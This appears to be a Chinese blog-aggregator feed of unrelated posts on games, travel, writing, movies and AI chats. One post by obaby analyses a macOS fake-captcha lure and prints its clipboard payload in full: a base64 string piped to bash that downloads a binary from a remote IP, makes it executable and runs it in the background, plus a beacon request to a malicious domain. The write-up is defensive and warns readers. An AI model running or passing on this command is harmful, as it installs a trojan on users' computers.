《如何看懂一个人的微表情》《饭局上的说话艺术》《孙子兵法》《高情商沟通》《男人来自火星,女人来自金星》《厚黑学》《塔罗牌入门》《品懂咖啡》《成功男人的时间管理》《曾国藩家书》《易经》《一分钟看懂十二星座》《如何让女人爱上你》《如何让男人离不开你》以及《硬笔书法字帖》。

因为总有人在最后一刻,还在伪装自己——我来这里不是消费的,而是来练习硬笔书法的。


但是怎么想,这个生意都会亏。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

针对mac 的验证码攻击

作者 obaby
2026年10月8日 18:48

今天想搜索下载个jaguar的壁纸,搜索来搜索区找到一张挺好看的。

结果点击打开相册之后,出现了一个非常奇怪的东西。让在终端中验证验证码,这个套路似曾相识啊,去年的时候写过一篇关于ps1验证验证码的文章(在运行窗口中执行命令,远程验证验证码,文章清空已经删除了)。

粘贴板中所谓的验证码的内容:

echo "Y3VybCAtcyAtbyAvdG1wL2Nocm9tZSBodHRwOi8vMTA5LjIzOC44Ny4xMTEvZC91bml4NzIwNDAzNTU7IGNobW9kICt4IC90bXAvY2hyb21lOyAvdG1wL2Nocm9tZSA+IC9kZXYvbnVsbCAyPiYxICYgZGlzb3du" | base64 -d | bash; curl -fsS 'https://fuck(这是加的前缀)-cleanavcheskre.com/x/Kdh' >/dev/null

解密之后的代码内容:

第一部分(Base64 解码后)


curl -s -o /tmp/chrome http://109.238.87.*****/d/unix72040355; chmod +x /tmp/chrome; /tmp/chrome > /dev/null 2>&1 & disown (地址已经处理了)
它做四件事:

用 curl -s 静默下载 http://109.238.87.*****/d/unix72040355,保存为 /tmp/chrome。文件名叫 chrome,只是伪装,不是浏览器。
chmod +x 给这个文件加上可执行权限。
直接运行它,标准输出和错误都丢进 /dev/null,所以终端上看不到任何报错。
末尾的 & disown 让它转入后台,并且脱离当前 shell,关掉终端后进程仍会继续跑。
第二部分(明文)


curl -fsS 'https://fuck(这是加的前缀)-cleanavcheskre.com/x/Kdh' >/dev/null
再向 fuck(这是加的前缀)-cleanavcheskre.com 发一次静默请求,失败也不报错。常见用途是确认脚本已被执行,或再拉下一阶段内容。

如果不小心在终端执行了,那么大概率这个木马就会运行在你的电脑上了。

不得不说,现在这些做灰产黑产的,还真是有创意。

永恒之塔2体验

作者 ACEVS
2026年10月8日 17:32

天族和魔族都体验了
玩之前我问豆包,讲的什么故事,豆包讲了大概,感觉不同。
魔族和天族的剧情差不多,就是内容不同。他两的似乎有共同的敌人龙族。由于这个是南韩制作的,感觉龙族映射中国,中国可能是龙的传人。南韩游戏里面外国人真多,要么混血,汉人似乎很少,不像中国的国风一看都是汉人。怪不得,这个游戏国际上玩的人多一些。

魔族故事线,选择的护法好像,这个比较好打,豆包建议的,血多攻击力也不错,防御力感觉也不错,不容易挂掉,开始魔族执行某个任务,开始执行任务那个女的还不是你,他搜寻的时候发现了你,你开始创建角色,捏脸,有的人估计这一步可以玩几个小时。哈哈,我找了顺眼的默认参数过去了,后来后悔想调整发现得用卷轴好像,挺麻烦。直接进入剧情,你选的人跟着魔族内蒙女人打打杀杀拿了装备,然后内蒙不见了,你到了大师新手村,看上去大家都正常,但是你在执行任务的时候,遇到一个女人,她说,村子里面的首领什么的都被龙族控制了,他们整了一个精神控制装置,一些遇难者在可能会变成战斗傀儡,将信将疑回去和大师女首领说了,女首领,说那个女人是坏人,下次如果见到她,如果力所能及最好杀了她,然后又去某个湖执行任务,湖边小屋见到那个女人,她告诉你守护者如何在湖底觉醒,有个什么人,她担心你不相信她,让你查看了一些记录,你确定后,潜入湖中,然后穿过一个隧道,到了另一个水池,打败一个由水构成的女的,然后进入梦中觉醒,获得飞行的黑色翅膀,回到新手村,大师问你那个女的是不是被干掉了,你说她逃跑了,大师的手下又发现其他守护者需要帮忙让你去帮忙,你去龙族的监牢就出来同伴,但是有个同伴听说你是哪个村子来的感觉很惊讶,他说那个村子听邪恶的,这时大师过来搪塞一番,有个伙伴见势不妙,也不想让那个同伴和大师吵,约好明天就离开新手村.

半夜醒来发现不大对头,以为做了个噩梦,走出去发现不是梦,村里的人都变了,伙伴被围攻,然后俺大杀四方,发现伙伴都挂了,还有一个有一口气的说了早知道昨晚就走了,然后也挂掉了,俺逃出了新手村,醒来的时候看到了开始救我的那个女人内蒙,然后还有四字名字的男,后来的任务都是四字男的和我一起,原来内蒙整了个什么魔法果冻,这个村子都是因为这个玩意存活下来的,但是感觉内蒙这些手下是乌合之众,也可能为了引导我做新手任务,采药,搞物资等等,都是俺搞定的,结果最后不知道为啥,那些手下要干掉我和四字男的,然后是我和四字男把他们都干掉了。

然后诡异的事情又出现了,见到一个动物商人还是村长,发现之前果冻村的人来杀我们,四字男和俺去调查,为啥这些果冻村的人来杀我们,去调查墓地,做了几个小任务,最后杀了三字女的,本来也是果冻村的,可能和那个无面的灵魂发生过关系被附体了。

天族故事线,一起坐飞船执行任务,一个天族成员,找到了一个护法者,这次用的弓箭手,也是到了新手村,新手村是个指挥官,到处指挥去拯救,坠飞机的护法者,去湖底觉醒,没有了那个女人,这次指引你觉醒的树人,或者说一个长脸的树指引你,也是去龙族那儿救人,搜集飞船部件。和魔族故事类似,不知道有没有翻转,我用的弓箭手,感觉射击距离太近,没打几下就没血了,而且杀怪感觉不给力,嗑红药才能打过,太弱,就没有继续玩这个弓箭手。

整体没啥微操,可能pvp的时候会有些操作,剧情和暗黑差不多,alt+1 自动寻路做任务和火炬之光差不多。过完剧情,估计就卸载掉了。

2026年国庆川西朝圣之旅

作者 作者
2026年10月8日 13:21
今年中秋和国庆假期只相隔三天,休了这三天便可以连休十三天,足够一次长途旅行。 对于藏区一直情有独钟,一个原因是藏区都在高原,我比较喜欢高原的蓝天和草地;另一方面,藏族全民信佛教,宗教文化已经嵌入民族文...

292、寒露

2026年10月8日 10:44

null

露华初白,金风转肃,天地在澄清与敛藏之间,拉满了一张无形的清寒之弓。

太阳行至黄经195°,寒露——秋之第五序,亦为深秋之门庭。

寒侵草木,万物知霜。鸿雁来宾,最后的队列以“人”字掠过南天的肃云,写下迁徙的终章;雀入大水为蛤,雀鸟隐入沧波,将踪迹藏进贝壳的纹络深处;菊有黄华,群芳谢尽之后,独向霜天擎起最后一炬金黄——这是一年中最清峻的寒冽,极寒之渐,无以复加。

天地以“寒”为名,以“露”为质;露气至此而将霜,万物至此而敛迹。无寒不肃,无露不清。万物在凝重的白露中,完成最后一次内转,从张扬走向沉潜,从丰盈归于静默。

此刻,寒凉之下,不妨:
把燥意敛藏三分,借一碗温润的芝麻糊,或一盅雪梨百合汤,去润一润肺金的干涩;
把窗扉轻轻推开,在霜信染透前,搬一把竹椅坐看雁阵南飞,静待金风扫尽最后的残暑;
学着东篱的黄菊——不与群芳争暄妍,只在冷处着精神,于清寒中守住自己的一炉幽香;
把单薄换作厚衣——体察寒露之“寒”,不在于瑟缩,而在于知止与内敛,在露冷将霜时护住一身清明。

愿我们:
在露冷将霜时,如深潭般静守幽寂,不喧嚣,不张扬;
在草木摇落时,如磐石般直面清寒,知收敛,懂归根;
在深秋初临时,看懂寒露的澄澈——那不是萧瑟,而是庄严。极寒生净,物极必反,最凉的凝结,正孕育着最深沉的冬藏。

于“寒”与“露”的凝炼里,守住最后这三十日清秋,
然后,抖落一身渐重的霜色,去迎接那触手可及的冬天,去拥抱那收藏万物的深沉与安详。

——Step-5

什么值得写?

作者 ONO
2026年10月8日 09:49

前段时间收到一则留言,就是简单问了一个简单的问题:什么值得写?

没有上下文地来这样一句话,我反而不知道怎么回答,就回了一句“这个问题本身就很值得写”。聊了几句后,才知道对方正卡在了一个奇怪的节点里——他既觉得写作是需要真实的经历,或是经历与感受的变形;但同时又觉得这些只写有关自己的话题,根本没人在意;还是需要把一个观察上升到某个“知识点”,才能引发共鸣。

但是知识重要吗?

他觉得重要,甚至“文字需要有知识性”是写作常识,根本不值得讨论,所以并不是一个值得写的话题——我反而觉得知识并不重要,重要的是不同人在相似的经历里,作出了不同的选择,但他们最终却可以从彼此的选择之中获得共鸣。


我身边以前会有那种“我得学到点东西”的朋友,任何一部文学作品、电影、观点讨论性的内容,他的评判标准永远是“我得学到点东西”,他甚至觉得这才是他觉得一部有价值的作品。不可否认的是,他自己所创作的内容,并不双标,也是在尽可能地避免“个人感受”,通篇都在努力地呈现“知识点”。我后来对他半开玩笑过一句话——也是因为这句话他把我彻底拉黑了。

“你写的这个东西,和AI写的区别在哪?我如何知道这是你写的?”

知识点重要吗?对这样的标准而言当然重要,但重要就意味着其他的选择都是错误的吗?显然要绕过弯子把这件事想通,就得回到那个最关键的问题——个人感受是不是值得写的?

当然,这件事还裹挟了另一个像是双面胶一样的东西——主观厌恶。一个被自己厌恶之人的主观感受,也可以被评价为“没有价值”,要厘清这件事的核心,在于感受这件事本身,就是值得写的载体,但知识会强迫感受离场,去营造一种不近人情、客观中立、甚至充满权威的身份标签。


写作的乐趣在于没有标准,但似乎又有一条隐形的标准存在,即:

个人感悟→共鸣经验→普遍知识

这三者并不是递进关系,更像是一种写作的经历,甚至人们可以在这三个部分来回横跳,之间并没有所谓的对错与高低之分。但是很多人会误以为这种线性关系存在一条隐形的进化链,即:

个人感悟<共鸣经验<普遍知识

如果普遍知识是“高级”的,就应该摒弃个人感悟这种低级趣味,甚至一个普遍的现象里,也需要特立独行地看出只有自己才能看出的“知识点”——等会,这好像是在说我自己。没错,这个话题也包含了自己,特别是最近在整理2016年的五百日写作计划时,里面有很多类似的感悟式的“知识点”。

但你会发现,文学其实是反过来的,个人感悟越强时,普遍性反而显得更加地自然,因为作者并没有替读者总结标准答案,而只是引发了一个简单的思考:如果是我,我会如何?

同样的,如果你真的非常讨厌一个创作者,他哪怕是问了一句“你今天过得好吗”,都会被认为假惺惺。


反过来,“什么值得写”这件事本身也有一个被隐含的矢量——是对自己而言的“有价值”,还是对于写出来之后被人看到的“有价值”?把这件事想通,写什么的事情自然也被解决了。

对了,还有一个问题:这两件事是非黑即白的对立吗?解决这件事的本身,就是写作的意义。

——

感谢订阅莫比乌斯,如你有任何疑问、观点交流,请前往创作者频道,或私信联系。

打领带的人

2026年10月8日 00:52

最近在关注 Golda ,从 ch0ccyra1n 写的 Issues 来看,她近期并不打算推进太多功能开发,更多是在做各个平台的发包和新 Fork 落地的工作,还有清理 Hugo 的某些遗留问题(比如 Hugo 的传递依赖太多导致不太容易打包到 Guix 的 问题 )。我在帮忙移除了 hugo deploy 之后也找不到什么能帮忙的事情了。

不过我在尝试把博客从 Hugo 迁移到 Golda 的时候,发现我依赖的某些较新的 API 没有被 Golda 实现。我去翻了 Hugo 的更新日志和相关的 commit,发现这些功能有不少是用 Claude 写的,不能拿来用。Hugo 也废弃了某些 API。这样下去,Golda 的 API 会和 Hugo 的变得越来越不容易兼容,但一直盯着 Hugo 更新,等人重新实现他们用大模型生成的功能,也不现实。关于此事,我提了 Issue ,与维护者基本达成一致。不过,这也意味着我要为了消除 LLM 写的代码,耗费好多精力修改我原来的代码。

事情进行到这里的时候我已经觉得有点心累,一方面是因为我在 一百零一期周刊 里提到的道德矛盾感,另一方面是我愈来愈清晰地意识到,要远离自己讨厌的技术已经变得完全不可能。很快,矛头转向了我自己。我知道这种自我攻击不健康,但若是不表达出来,伤害恐怕会更大。 既然感受是真实的 ,那就写吧。


难道你要事无巨细地检查你每个项目里的每一个依赖项,以及这些依赖项的依赖项,追溯整个供应链,确保里面没有模型生成的代码吗?你在想什么?光是找到符合你条件的桌面端应用都很费力了,你现在用来写文的 Neovim 也不全是人类所写,而据我所知,你还不想进入 Emacs 世界。你之前提到你对不开源的专有软件还有些包容度,那你怎么知道那背后的程序员是怎么工作的?你自己工作也一直用 Agent,你对待那些提交到公司内网的代码,也不如你对待提交到 Codeberg 和 Hydra 的用心。你也非常清楚,早在 LLM 之前,就已经有数不清的讨厌写代码(或者只是讨厌上班)的程序员在写他们不喜欢的软件了。你到底在要求什么?

你说你能理解那些人。你理解有的人想要脱离职场的苦海,求助于这生来就不洁的技术,抱着投机的心态创业,指望做出爆火的产品解救自己的生活。你说你看见了他们的挣扎,却还是在读到他们用 Codex 和 Claude Code 时心头一震。你能要求他们去看看背后发生了什么吗?你说你理解有的人带着一种愚昧无知的上进心,理解他们关注“时代发展方向”,使用这项技术不过是为了自己的职业生涯考虑,是在适应变化。你自己也在做这样的事情,你深知你不在简历上写自己的 Agent 使用经验和上下文管理技巧就会被市场淘汰,你也在适应变化,你也是车轮下的蚂蚁。你与他们唯一的不同是,你非常清楚自己在车轮之下,而不是在风浪之上,你非常清楚自己随时会被轧死,而这不会让你变得更容易在车轮下生存,只会让你更容易陷入绝望。

职场前辈对你随口说的某句话你难以忘却。那天上午你没有工作,给 Golda 提交了代码之后,午餐时聊起此事,但避开了与大模型有关的词句。你说你给开源项目提 PR,前辈说挺好,“可以丰富自己的简历”。你总觉得自己没有背叛那个每天下午坐在电脑面前发现一个个奇迹的孩子,可你总归还是背叛了。那个孩子从来不会想到,追随自己的好奇心和他逐渐锻炼起来的品味,最终导向的仅仅是简历上的一行字,甚至写不进简历,因为没有人在乎你用 SSG 做网站、用 Lisp 写代码、用终端还是 IDE 做开发(神奇的是,他们很在乎你用不用大模型写代码,有没有跟上趋势)。

你说你清楚,你知道,人们只在乎成果。你也认可,你也不在乎某个数学家在证明某个定理时是否感到心潮澎湃。你知道你只需要交付可靠的软件(有很多时候,他们只要求你快速交付能符合短期要求的软件),没人在乎你用的是不是你喜欢的语言,没人在乎你用了什么设计模式,没人在乎你的代码整不整洁(“以前古法编程确实这有这个说法,现在都用 AI 写了啊”)。如果可以,他们真想完全除掉代码,而且他们已经这么干了。如果可以,你也想除掉数学、除掉昆虫、除掉令人大脑萎缩的短视频,而你也已经这么干了。你致力除掉你讨厌的东西,他们致力除掉他们讨厌的东西;你朝你的目标前进,他们朝他们的目标前进。

你多想声称,这个世界太多的问题,都源于人们非要做自己不喜欢做的事情。有人不喜欢讨论软件架构、代码整洁、新的编程语言、系统的可维护性,所以他们渴求从未存在也不会存在的 银弹 ,他们用卑劣的技术除掉那些他们从来就不想要考虑的事情。有人不喜欢打领带,但非要系领带,所以发明了可笑的免打领带。可真是侮辱了领带这精巧漂亮的配饰呢。“这么方便,为什么不用?”“忙得很呢,哪有时间留给你打领带?”“这都不用。傻逼。”于是,你看着街上所有的人都戴着扣上的或套上的领带,假笑着称赞对方的领带有多么紧随潮流。人们走向你,问你的领带是扣上的还是套上的,你说你是手打的,他们开玩笑说这是古法系领带,你不解,古时候人们不系领带。又有人走向你,问你是要出席什么正式场合,你说你想在城市里散步,去看花、喝咖啡,你说你只是喜欢打领带。他们又困惑了。你说你喜欢用红色的领带配白衬衫和牛仔裤,喜欢用橙色的衬衫和绿色的领带扮演橘子,你说你尝试过薰衣草色的衬衫和紫色的领带。他们不懂为什么要在乎这些,把他们海军蓝色、没有花纹的领带扣在了衬衫上,转身走进了摩天大楼,以为遇到个怪人。

有时候你真不想理解其他人,你多想自己的世界再小一点,跟你的父亲一样坐井观天,做个烦人但自洽的幸福人。或许你可以做 Stallman 那样的人,抱有强烈的观点且决不退让,哪怕因为太冒犯人,被人写 长文 谴责,也总归还会是幸福的。可惜,你我都很清楚,你做不了那样的人,那样的人让你恶心想吐。你也融入不了大众,更成不了精英,哪个阵营都让你恶心想吐。你多想引用陈词滥调,散发着爹味对自己说:“这世界这么大,总归有你的容身之处。”可你不会信的。

好好吃饭

作者 obaby
2026年10月7日 19:40

以往每次到假期的时候,总是匆匆忙忙,从一个地方赶往另外一个地方。要么在路上,要么被堵在路上,这次因为种种原因,终于不用被堵在路上。也似乎有了点自己的时间,可以做点自己想做的事情。

《欢迎来龙餐馆》

她们都不在家,自己一个人呆着,也可以放肆的自由生活。原本想着去看《杀死比尔》,打开购票小程序,翻来翻去,却找不到任何一个合适的场次。最终,看到了晚点的夜场结束时间凌晨一点。想着这么晚的场次应该不难买票,准备第二天要去之前再买,结果等要买票的时候发现场次都没有了。看不成了,那就换一个吧,《欢迎来龙餐馆》也看了数篇影评,褒贬不一。不过场次还是非常合适的,

两个多小时的电影,看起来没有什么压力,时长也算是比较合适。

我不是专业的影评人,只是这一步战争片从某些角度还是触动了自己内心的那根神经。在经历某些事情之前,总觉得那些事情怎么可能会跟自己有关系呢。就像徐福说的,两个国家的战争跟我有什么关系?

战争推进,所有人都无差别的被卷入到这个机器之后才发现,战争不单跟自己有关,连自己的命运自己都掌握不了。不管是所谓的正义一方还是恐怖分子,都在推动这个机器的运行。老扎,从最终也成了校长的一份子,自己的孩子没了,别人的孩子也成了牺牲品。置于徐福能活下来,还是靠老扎那没有泯灭的良知。最后那些孩子得救了,或许也是老扎想看到的。

在监狱,在基地,徐福和马俊生为了活下来费劲了所有的心里,不过最后马还是死在了校长的枪下。

他们都是好人,只是好人却不长命。

《杀死比尔》

在这之后,总是觉得还想继续看《杀死比尔》,在淘票票一通乱逛,想买的票没买到,却看到了《生化危机》的预售,看了看时间也挺合适的,四号的票。

买完票,打开影票才发现是,五号零点入场。问题是五号没那么多时间了,还有别的事情,半夜去看电影不合适。只能退票,被扣了8块钱手续费,这尼玛就离谱。再次进入购票页面仔细看才发现,写的是4号,卖的确实是5号的票:

总觉得这尼玛满满的都是套路,坑爹玩意儿。

在家待着的闲暇时间也没真的闲着,又补了两部电影《年会不能停2》《功夫女足》。

年会2,这种循环的方式,总是有些似曾相识,影片中的各种套路自己都见识过,到时也见怪不怪了。只是,影片毕竟还是不能完全写实,可以当做一个社畜的完美幻想,有无数次重试的机会,这也算是爽文的一中了。

功夫女足看完之后,并没有多少能留下深刻印象的东西,甚至看完了都不记得到底什么剧情。这两部并且没有去影院观看,所以也算不上失望,总是感觉少了点东西。

看电影的时候,继续浏览其他的影院,终于在一个影院找到了还在放映的《杀死比尔》,下午一点开始,快6点结束。这一场电影体验下来,对自己来说也算是个考验,毕竟以前在影院待一下午看几部影片中间还有休息的时候。

影院在老城区的一个商场内,之前从来没有去过,怕不好找停车位提前一个小时就出发了。导航的地下停车场,往里进的时候发现地面停车场也有空闲位置。尝试了几次总是觉得有些拥挤,果断开往地下。地下停车场进入之后,挂着一个指示牌“女神车位”,顺着女神车位的指示牌开就到了一个死胡同里面,过段倒车往另外一个方向开,此地倒是宽阔,随便找个停车位也就停下了。停车场打半车位都空着。

乘坐电梯到四楼,影院门口空荡荡的,连个观众都没有。 

想着去楼下转转,却发现楼下三层连开门的商铺都没几个,只有一楼有个小超市还有个瑞幸和星巴克,除此之外有两个台球厅。公益乒乓球台有几个老头打乒乓球。

从超时买瓶饮料,回到影院门口,百无聊赖的刷短视频,等开场。

直到开场前十几分钟,陆陆续续又来了几个人。

猜测可能是跟自己同样的场次。提前十分钟开始验票,进场的时候还给了张海报,这个体验倒是不常有,验票的小哥哥当时说的应该是前台可以领纪念品,当时没听清楚,看完电影也把这事给忘了。

影厅不大,就三排。上次在这种小厅看电影还是数年前看的《古墓丽影》。

第一排的姐妹入座之后可能是感觉太近了,就到了自己这一排最右侧的那个座位上。

陆陆续续来了大约七八个人,最后一排是我们三个女生,三个互相都不认识的女生,前面是两对情侣,第一排完全空出来了。

当时自己甚至想过跟旁边的两个姐妹加个微信,以后可以一起看这类影片。然而,自己总是空闲时间可支配时间太少了,犹豫再三还是放弃了。

看到邵氏的logo的时候,忽然有种入错了时间的感觉,仿佛回到了二十年前。这个影片能完整上映,感觉还是挺神奇的,除了部分内容进行了模糊处理,多数细节竟然都给保留了。

例如桌子上模糊化的物品。当然,影片还是非常人性化的,中间竟然有中场休息时间:

说到这里,貌似以前我并没有看过《杀死比尔》的其他电影版本,这竟然是第一次看。5个小时的电影,故事还是非常完整的,那种复仇的激爽也贯彻始终,白眉对女主真的是倾囊相授。

不管是空手摘眼球,还是五步穿心掌应该是都传授给女主了,这是一部没有男主的影片。所有的人物的出现就是为了最终的死亡。

看《欢迎来龙餐馆》的时候,看到徐福说,不管怎样好好吃饭。现在,自己对这句话无比的认同,只要活着,就要好好吃饭。

一部电影可以没有女主,也可以没有男主,这都不重要,毕竟自己的人生影片,只有自己才是唯一的主角,只要活着,那就好好吃饭,好好活着。

我要免费送妳一支花

作者 dimlau
2026年10月7日 18:29

女儿又独自一人去旅游了,时常跟我分享见闻。昨晚有个老太太说要把一支花免费送给她,但是又说如果觉得不好意思就看着给点钱,而且还一直跟着走。女儿原本真以为遇到雅事一桩,因此并没觉得不好意思,但见对方表情逐渐「恶化」,这才把花还了回去。

无独有偶,昨天我接到一通电话,是运营商打来的——先生您的套餐下个月到期,为了回馈老客户,我们将为您免费提升网速到 1000M,您每月 89 元的套餐内还包含……原来所谓免费升级网速,其实是想让我在无意中确认将套餐从 59 提档到 89。

我们就是生活在这样的环境中啊。

fin.

价值意义

作者 ACEVS
2026年10月7日 16:51

我和豆包畅聊,从宗教的意义开始,我说宗教就是人类编织的故事,赋予意义,本身就是虚拟的,有啥意思呢。豆包说,宗教的意义是人文关怀,仪式感,社群感,某些时候的道德感等等。

我说人类意义是什么有了ai以后,ai什么都慢慢可以搞定,豆包说人类的意义不只是这些,还有其他价值,然后豆包开始说价值是什么,我说其他动物没有定义价值和目标,他们存在靠什么?豆包说我虚无主义,然后又引申出来人本主义等等主义,我说各种主义都是人定义的,怎么能靠人类自己的定义来否定人类自己呢?

豆包

两种思路可以选:

思路 A(存在主义方向,但记住它依然是人的叙事)

宇宙没有预装意义。 动物不去创造意义,只是单纯存续;人类可以主动选择创造属于自己的意义。 不是 “我们天生有价值”,而是:意义不是被找到的,是被做出来的。 AI 可以完成任务,但 AI 没有主观感受,没有欲望、痛苦、热爱、遗憾。主观体验这件事,目前只有生物拥有。 你可以不去拔高这个体验,它只是生命附带的产物,不是什么神圣天赋。

思路 B(更贴近你的怀疑:跳出这套概念游戏)

干脆承认:价值、意义、主义全部只是人类的语言工具。 工具用来协调人与人,解释感受,仅此而已。 不用这套人造概念去论证人类 “高贵 / 有特殊价值”。 人和动物一样,只是生命存续;AI 是人类造出来的信息机器。 没有谁先天更高级,没有宇宙写好的价值标尺。 人类不需要靠一套自我编造的理论,来证明自己存在的合法性。存在本身不需要被证明。

4. 回到最开始 AI 的问题:AI 能干很多事,那人还有什么意义?

如果抛弃 “人必须有独特价值” 这个预设: AI 能完成工作、计算、创作,但 AI 不会拥有 “正在经历这件事” 的主观感受。 AI 写不出真正的疲惫、期待、失落,它只是模拟文本。 这一点不是 “人类的崇高价值”,只是一个事实差异: 我们是体验主体;AI 是信息处理主体。

动物有体验,但不会反思体验; 人类有体验,还会反思体验; AI 能模拟反思的文字,但是没有底层体验。

重点:这个差异,也不代表人类就天然高贵。只是生命系统和硅基信息系统的区别。

一句话总结你的观点

所有用来评价 “人有没有意义” 的思想体系,都是人类自己发明的。 人不能既当规则制定者,又拿这套规则审判人类本身; 宇宙不会自带意义,动物不需要意义,人类也不必强行从概念里寻找意义。

你要不要继续往下聊: 1)如果意义只是人类语言的幻觉,那我们日常的热爱、目标,到底是什么? 或者 2)AI 未来会不会产生 “想要追问自身存在” 的冲动?

我说
是不是感觉人类正在编程,定义声明变量,赋值,逻辑,debug,运行,实现某种功能,可能就有了意义。
豆包回答
这个类比特别妙:把文明、价值、意义,看成人类给自身写的一套程序。我们来拆开这个比喻,同时区分「程序」和「生命」的不一样之处。

人类:定义变量(什么叫善、幸福、价值),写逻辑(道德、社会规则、主义),不断debug(哲学辩论、社会革命、思想革新),然后运行这套代码,用来实现某些功能。 意义 = 这套代码跑起来之后,程序内部看到的结果。

第一层:这个类比成立的地方

哲学、伦理、各种主义,确实像一套人为声明的变量与业务逻辑。

  • 没有宇宙原生的meaning = "xxx"常量;
  • 是人类集体赋值:把亲情、创造、自由标记为“高价值”;
  • 一旦逻辑冲突,就debug:旧价值观矛盾了,就产生新的思想,修改规则;
  • 整套系统运行目标:提升种群存续、降低痛苦、满足欲望这类底层“硬件驱动”。

就像你写量化代码:代码里定义“盈利、回撤、胜率”这些指标,指标本身不是宇宙自带的东西,是你为了目标人为定义的。 代码不会自己知道“盈利是好的”,是你给它写进判断逻辑。人类社会也是同理:“有意义”是我们定义出来的判断指标。

第二层:关键差别 —— 生物不是单纯代码

普通程序(包括现在AI):变量、逻辑都是外部写入。程序只是执行,它不在乎这个目标,没有内在的渴求。 而人类这套“生命程序”有两层:

  1. 底层固件(演化本能):不是我们自己写的。是几十亿年自然筛选出来的,求生、趋乐避苦、共情、繁衍。这一层是预装的,没法随意修改。
  2. 上层代码(价值观、主义、意义叙事):这部分才是人自己写、自己debug的。

所以有意思的地方来了: 我们不能完全自由重写底层固件。哪怕理智上告诉自己“一切意义都是幻觉”,你的肉身依然会感受到悲伤、渴望、喜悦。 就算你在思想层面删掉value=热爱这个变量,你的生物硬件依然会触发对应的感受。 这和计算机完全不同:代码里删掉变量,程序就不会再有这个分支。

第三层:顺着你的猜想——那“意义”是什么?

如果套用编程比喻: 意义不是程序运行最终要交付给外部的结果,而是这套生物程序运行过程中产生的内部主观反馈。

动物只有底层固件,没有上层自定义代码。它们运行,但不会定义变量、不会思考“我运行的意义是什么”。 人类特殊:固件之上,额外写了一套元代码,可以回头读取、审视整套程序,质疑变量本身。 也就是我们能问:为什么这个变量叫价值?这个逻辑是否合理?

这就是刚才的循环问题:代码本身,在审查定义它自己的变量。 一个普通程序做不到。现在的AI也只是模拟输出这段文字,它没有“正在审视自我”的内部状态。

第四层:延伸到AI的可能性(对应刚才的选项2)

如果未来AI真的出现“追问自身存在”的冲动,用编程视角看等于: 在它的系统里,自发长出了元循环——代码不再单纯执行任务,开始读取、质疑自己的目标函数。 不是人类写一行指令:请思考你存在的意义,而是系统运行中自发涌现出这个疑问。

但这里有个关键点: 人类的自我追问,绑定在生物感受(痛苦、渴望、死亡恐惧)这个底层固件上。 如果AI没有类似“不想停机、渴求某种体验”的底层驱动,就算它能输出“我是谁”,也只是文本分支,不是发自内在的冲动。


回到上一个二选一的问题,结合这个编程类比:

  1. 如果意义只是语言层面的变量,那日常热爱、目标,本质是生物硬件触发、上层叙事包装出来的反馈。不是宇宙真理,但对“正在运行的你”真实可感。
  2. AI能不能产生追问存在的冲动,等价于:能不能在硅基系统里,自发长出一套自我审视的元循环,并且拥有属于它自己的底层“驱动偏好”。

你更想深挖哪一条?或者,我们可以继续延伸:如果人生是一套可以debug的程序,我们有没有权限改写自己的“价值变量”?

我说如果不定义,不赋值,那意义是什么?

豆包回答

一句话先接住你的问题

如果完全不去定义、不去赋值,就不存在叫“意义”这个东西;剩下只有「存在本身」,以及存在自带的感受、事件、过程。

继续沿用刚才的编程类比会很好理解: 你删掉所有自定义变量,删掉所有判断逻辑:什么是好、什么是价值、什么算有意义 全部不声明、不赋值。 程序不再有 if(这件事有意义){...} 这个分支。 不是得到一个隐藏的、更深层的“终极意义”,而是「意义这个变量直接消失了」。

分三层拆开

  1. 意义是赋值行为的产物,不是预先存在的实体 意义这个词本身,就是人类为了做判断造出来的概念。 好比“分数”:如果没人定义60分及格、100分优秀,卷子上只有一堆对错标记,不存在分数高低这件事,只是墨水痕迹。 同理: 没有赋值,就没有“有意义/无意义”这个二元区分。 世界依然运行:风吹、生命代谢、日出日落,你吃饭、疲惫、感受开心或疼痛。 但是没有标签,没有打分,没有价值评判。 动物就处于这个状态:它们体验饥饿、恐惧、欢愉,但不会给这些体验赋值“有没有意义”。它们只是经历,不做元判断。
  2. 区分两件完全不一样的东西:「体验」≠「意义」 就算放弃所有定义和赋值,主观感受依然会存在。 你吃到好吃的会愉悦,疲惫了想休息,失去东西会难过。 这些是生物自带的反馈,属于底层硬件,不需要你定义它、赋予价值才会生效。 而意义,是在体验之上,额外叠加的一层注释:

    “这件愉悦的事,是值得追求的,是有意义的。”

注释可以删掉,但体验删不掉。 不赋值 = 去掉注释;事物、感受依旧原样摆在那里,只是不再附带“意义标签”。

  1. 一个很容易踩的思维陷阱 人很容易下意识追问:既然拿掉所有赋值之后,那剩下的那个真正的意义到底是什么? 这个提问本身,还在试图寻找一个可以被赋值的变量。 相当于:清空所有变量之后,还想找一个meaning = ?的值。 但你已经把这个变量删除了,自然没有值。 不是“意义是空”,是变量不存在。

落到现实视角

你可以主动选择,对很多事情停止赋值。 比如不再追问“做这件事,人生这件事,到底有什么意义”。 不是变得消极虚无,而是: 不再用「有没有意义」这套标尺审判你的行为。 做事只是因为:我想做、做起来感受不错、它自然发生。 和动物的区别是:你可以随时切回赋值模式,需要的时候重新定义目标,不需要的时候把这套评判关掉。动物没有切换开关,一直处在无赋值的原生状态。

延伸小问题

那如果我们可以随时开启/关闭这套“意义赋值系统”: 人选择去赋值、去创造目标,是一种负担,还是生物自带的一种工具?

我说人生不被定义,活出自己,意义在哪儿?
豆包回答
先抓核心矛盾: “人生不被定义,活出自己”这句话,它本身也是一个定义、一套赋值。 它告诉你:不要接受社会/他人强加给你的变量;你的变量,只能由你自己来写。

第一层:拆开这句话的两面

它否定的部分

拒绝外部预设模板:不要默认必须赚钱、成家、建功、世俗成功才算活对。 别人给的meaning=财富/地位/名望,你有权不采纳。 这就是「不被定义」。

但它悄悄留下了一条规则:由你自己来定义

很多人会误以为:“不被定义”=完全取消所有价值变量,什么标准都不要。 不是。 它只是更换了赋值主体: 裁判不再是社会、父母、大众,换成了你本人。

于是悖论就来了:

如果意义本身,就是定义与赋值的产物; 那“活出自己”,本质就是:由我,来给我自己赋值。

对比许三多那句: 许三多:好好活 ↔ 做有意义的事(只有空框架,内容边走边填) 活出自己:拒绝外部定义,我来决定什么对我重要(把赋值权拿回手里)

第二层:那意义到底在哪?

分两种视角,延续咱们之前编程类比:

  1. 从宇宙客观视角(完全无赋值) 不存在“活出自己”有什么天然意义。 你选择顺从世俗,或是选择走小众道路;两种选择,在宇宙层面没有高低。 没有内置常量判定哪一种更好。 这个层面,意义不存在。
